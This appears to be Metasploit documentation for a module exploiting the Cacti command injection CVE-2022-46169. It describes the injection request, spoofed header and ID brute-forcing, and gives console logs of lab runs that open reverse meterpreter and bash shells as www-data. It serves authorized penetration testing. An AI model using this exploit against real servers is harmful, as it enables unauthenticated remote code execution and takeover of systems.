## Vulnerable Application
This module exploits an unauthenticated command injection vulnerability in Cacti through 1.2.22 (CVE-2022-46169)
in order to achieve unauthenticated remote code execution as the www-data user.

The module first attempts to obtain the Cacti version to see if the target is affected.
If `LOCAL_DATA_ID` and/or `HOST_ID` are not set, the module will try to bruteforce the missing value(s).
For the bruteforce, the total number of possible requests is limited to 1,000.
However, it is possible to set the range for the `local_data_id` and `host_id` values to try
via the advanced options `MIN_HOST_ID` (default 1), `MAX_HOST_ID` (default 5), `MIN_LOCAL_DATA_ID` (default 1)
and `MAX_LOCAL_DATA_ID` (default 100).
If a valid combination is found, the module will use these to attempt exploitation.
If `LOCAL_DATA_ID` and/or `HOST_ID` are both set, the module will immediately attempt exploitation.

The bruteforce attempt can have three possible outcomes:
- Failure: No vulnerable `host_id` and `local_data_id` are found.
- Success: A `host_id` and `local_data_id` combination is found that is positively identified as vulnerable.
The module determines this by comparing the `rrd_name` returned by the server to a list of data sources known to be vulnerable.
- Indeterminate: The module identified several `host_id` and `local_data_id` combinations for which the server returns
an empty `rrd_name` value. Many data sources in Cacti do not have an `rrd_name` value, some of which are vulnerable.
In this case, the only way to verify if a local_data_id value corresponds to an exploitable data source, is to actually try and exploit it.
Instead of trying to exploit all potentially vulnerable `host_id` and `local_data_id` combinations without an `rrd_name`,
the module stores these.
When the bruteforce attempt finishes with an indeterminate outcome, the list of potentially vulnerable `host_id`
and `local_data_id` combinations is printed to the console.
The user can then manually verify if any of these combinations are actually exploitable by using them
to set the `HOST_ID` and `LOCAL_DATA_ID` options.

During exploitation, the module sends a GET request to `/remote_agent.php` with the action parameter set to `polldata`
and the `X-Forwarded-For` header set to the provided value for `X_FORWARDED_FOR_IP` (by default `127.0.0.1`).
In addition, the `poller_id` parameter is set to the payload and the `host_id` and `local_data_id` parameters
are set to the bruteforced or provided values.
If `X_FORWARDED_FOR_IP` is set to an address that is resolvable to a hostname in the poller table,
and the `local_data_id` and `host_id` values are vulnerable, the payload set for `poller_id` will be executed by the target.

This module has been successfully tested against Cacti version 1.2.22 running on Ubuntu 21.10 (vulhub docker image)

## Installation Information
Cacti is open source, and vulnerable versions can be obtained from the official GitHub repository under
[releases](https://github.com/Cacti/cacti/releases).
As a shortcut, a vulhub entry is available [here](https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169)
that allows you to spin up a vulnerable instance via a single docker-compose command.
The vulhub page also contains instructions for how to complete the Cacti installation, how to make it vulnerable, and a PoC.

Additional details about the exploit are available [here](https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf)

## Verification Steps
1. Start msfconsole
2. Do: `use exploit/linux/http/cacti_unauthenticated_cmd_injection`
3. Do: `set RHOSTS [IP]`
4. Do: `set LHOST [IP]`
4. Do: `set SRVHOST [IP]`
5. Do: `exploit`

## Options
### TARGETURI
The base path to Cacti. The default value is `/`.
### HOST_ID
The `host_id` value to use. By default, the module will try to bruteforce this.
### LOCAL_DATA_ID
The `local_data_id` value to use. By default, the module will try to bruteforce this.
### X_FORWARDED_FOR_IP
The IP to use in the `X-Forwarded-For` HTTP header. This should be resolvable to a hostname in the poller table. Default: 127.0.0.1

## Advanced Options
### MIN_HOST_ID
Lower value for the range of possible `host_id` values to check for. Default: 1
### MAX_HOST_ID
Upper value for the range of possible `host_id` values to check for. Default: 5
### MIN_LOCAL_DATA_ID
Lower value for the range of possible local_data_id values to check for. Default: 1
### MAX_LOCAL_DATA_ID
Upper value for the range of possible local_data_id values to check for. Default: 100

## Targets
```
Id  Name
--  ----
0   Automatic (Unix In-Memory)
1   Automatic (Linux Dropper)
```

## Scenarios
### Cacti 1.2.22 - Linux Dropper - HOST_ID and LOCAL_DATA_ID not set (bruteforce)
```
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options 

Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   HOST_ID                              no        The host_id value to use. By default, the module will try to bruteforce this.
   LOCAL_DATA_ID                        no        The local_data_id value to use. By default, the module will try to bruteforce this.
   Proxies                              no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS              192.168.91.195   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT               8080             yes       The target port (TCP)
   SRVHOST             192.168.91.195   yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all add
                                                  resses.
   SRVPORT             9090             yes       The local port to listen on.
   SSL                 false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                              no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI           /                yes       The base path to Cacti
   URIPATH                              no        The URI to use for this exploit (default is random)
   VHOST                                no        HTTP server virtual host
   X_FORWARDED_FOR_IP  127.0.0.1        yes       The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.91.195   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Automatic (Linux Dropper)



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run

[*] Started reverse TCP handler on 192.168.91.195:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up to 505 combinations
[*] Enumerating local_data_id values for host_id 1
[*] Performing request 25...
[*] Performing request 50...
[*] Performing request 75...
[+] Found exploitable local_data_id 180 for host_id 1
[*] Sending stage (1017704 bytes) to 10.18.0.3
[*] Command Stager progress - 100.00% done (773/773 bytes)
[*] Meterpreter session 1 opened (192.168.91.195:4444 -> 10.18.0.3:45322) at 2022-12-22 16:43:59 +0200

meterpreter > getuid
Server username: www-data
```

### Cacti 1.2.22 - Unix In-Memory - HOST_ID and LOCAL_DATA_ID set (immediate exploitation)
```
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options 

Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   HOST_ID             1                no        The host_id value to use. By default, the module will try to bruteforce this.
   LOCAL_DATA_ID       182              no        The local_data_id value to use. By default, the module will try to bruteforce this.
   Proxies                              no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS              192.168.91.195   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT               8080             yes       The target port (TCP)
   SRVHOST             192.168.91.195   yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all add
                                                  resses.
   SRVPORT             9090             yes       The local port to listen on.
   SSL                 false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                              no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI           /                yes       The base path to Cacti
   URIPATH                              no        The URI to use for this exploit (default is random)
   VHOST                                no        HTTP server virtual host
   X_FORWARDED_FOR_IP  127.0.0.1        yes       The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.91.195   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Unix In-Memory)



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run

[*] Started reverse TCP handler on 192.168.91.195:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Executing the payload. This may take a few seconds...
[*] Command shell session 1 opened (192.168.91.195:4444 -> 10.18.0.3:50802) at 2022-12-22 16:51:46 +0200

uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

### Cacti 1.2.22 - Linux Dropper - HOST_ID and LOCAL_DATA_ID not set (bruteforce with undetermined result, then manual exploitation)
```
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options 

Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   HOST_ID                              no        The host_id value to use. By default, the module will try to bruteforce this.
   LOCAL_DATA_ID                        no        The local_data_id value to use. By default, the module will try to bruteforce this.
   Proxies                              no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS              192.168.91.195   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT               8080             yes       The target port (TCP)
   SRVHOST             192.168.91.195   yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all add
                                                  resses.
   SRVPORT             9090             yes       The local port to listen on.
   SSL                 false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                              no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI           /                yes       The base path to Cacti
   URIPATH                              no        The URI to use for this exploit (default is random)
   VHOST                                no        HTTP server virtual host
   X_FORWARDED_FOR_IP  127.0.0.1        yes       The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.91.195   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Automatic (Linux Dropper)



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run

[*] Started reverse TCP handler on 192.168.91.195:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up to 500 combinations
[*] Enumerating local_data_id values for host_id 1
[*] Performing request 25...
[*] Performing request 50...
[*] Performing request 75...
[*] Performing request 100...
[*] Enumerating local_data_id values for host_id 2
[*] Performing request 125...
[*] Performing request 150...
[*] Performing request 175...
[*] Performing request 200...
[*] Enumerating local_data_id values for host_id 3
[*] Performing request 225...
[*] Performing request 250...
[*] Performing request 275...
[*] Performing request 300...
[*] Enumerating local_data_id values for host_id 4
[*] Performing request 325...
[*] Performing request 350...
[*] Performing request 375...
[*] Performing request 400...
[*] Enumerating local_data_id values for host_id 5
[*] Performing request 425...
[*] Performing request 450...
[*] Performing request 475...
[*] Performing request 500...
[!] Identified 15 host_id - local_data_id combination(s) that may be exploitable, but could not be positively identified as such:
        host_id: 1 - local_data_id: 156
        host_id: 1 - local_data_id: 157
        host_id: 1 - local_data_id: 158
        host_id: 1 - local_data_id: 164
        host_id: 1 - local_data_id: 166
        host_id: 1 - local_data_id: 167
        host_id: 1 - local_data_id: 168
        host_id: 1 - local_data_id: 169
        host_id: 1 - local_data_id: 170
        host_id: 1 - local_data_id: 173
        host_id: 1 - local_data_id: 174
        host_id: 1 - local_data_id: 175
        host_id: 1 - local_data_id: 176
        host_id: 1 - local_data_id: 177
        host_id: 1 - local_data_id: 178
[*] You can try to exploit these by manually configuring the HOST_ID and LOCAL_DATA_ID options
[-] Exploit aborted due to failure: no-target: Failed to identify an exploitable host_id - local_data_id combination.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set host_id 1
host_id => 1
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set local_data_id 156
local_data_id => 156
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run

[*] Started reverse TCP handler on 192.168.91.195:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Sending stage (1017704 bytes) to 10.18.0.3
[*] Command Stager progress - 100.00% done (773/773 bytes)
[*] Meterpreter session 2 opened (192.168.91.195:4444 -> 10.18.0.3:54964) at 2022-12-22 16:56:42 +0200

meterpreter > getuid
Server username: www-data
```
